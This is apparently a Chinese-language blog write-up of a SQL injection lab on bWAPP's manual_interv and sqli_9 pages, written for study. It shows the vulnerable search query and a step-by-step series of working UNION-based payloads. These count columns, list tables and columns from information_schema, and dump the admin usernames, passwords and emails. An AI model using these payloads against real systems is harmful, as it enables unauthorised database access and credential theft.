您的位置:首页 > 移动开发

SQL注入之bWAPP之manual_interv.php

2018-03-29 14:32 302 查看
1、输入验证码,多想也没用。





然后跳转到





熟悉的注入页面。猜想验证码的作用应该就是起到一个登陆验证的作用,查看“manual_interv.php”,代码如下:

if(isset($_POST["form"]) && isset($_SESSION["captcha"]))
{

if($_POST["captcha_user"] == $_SESSION["captcha"])
{

$_SESSION["manual_interv"] = 1;

header("Location: sqli_9.php");

exit;

}

else
{

$message = "<font color=\"red\">Incorrect CAPTCHA!</font>";

}

}

判断验证码,并跳转到“sqli_9.php”。
下面是搜索型SQL的代码:
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";

之前忘了说,搜索型注入为什么输入“1%'and'%'='”会是正常的不报错的,因为“1%'”这里的百分号和单引号(%'),闭合了代码中“LIKE '%”,二“and'%'='”这里的('%'=')是为了闭合代码最后面的“%'";”;注入进去就变成了“SELECT * FROM movies WHERE title LIKE '%" 1%'and'%'=' "%'”,意思就是搜索“1”,后面的“‘%’=‘%’”成了一个为真的判断。输入“1%'查询语句+--+”,是闭合前面的搜索查询,并调用我们注入的查询语句,然后注释掉后面的内容。
下面接着讲这次的SQL注入。
2、输入个单引号进行判断。



报错又有“%”,果断尝试搜索型注入。输入“title=1%'and'%'='”,结果如图:



3、判断字段数:
输入“title=1%'order by 7 --+”正常,输入“title=1%'order by 8 --+”报错,结果如图:





所以字段数为7。
4、查看显示位:
输入“title=1%'union select 1,2,3,4,5,6,7 --+”,结果如图:



5、查询数据库等信息:
输入“title=1%'union select 1,database(),version(),4,user(),6,7 --+”,查询数据库名为bwapp、数据库版本为5.5.53、当前用户为root@localhost,结果如图:



6、查询表名:
输入“title=1%'union select 1,database(),version(),table_name,user(),6,7 from information_schema.tables where table_schema='bwapp'--+”,发现users表较为重要,结果如图:



7、查询字段名:
输入“title=1%'union select 1,database(),version(),column_name,user(),6,7 from information_schema.columns where table_name='users'--+”,发现较重要的字段有admin、password、email,结果如图:



8、查询字段内容:
输入“title=1%'union select 1,database(),version(),group_concat(admin,"||",password,"||",email),user(),6,7 from users --+”,结果如图:

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  bWAPP manual interv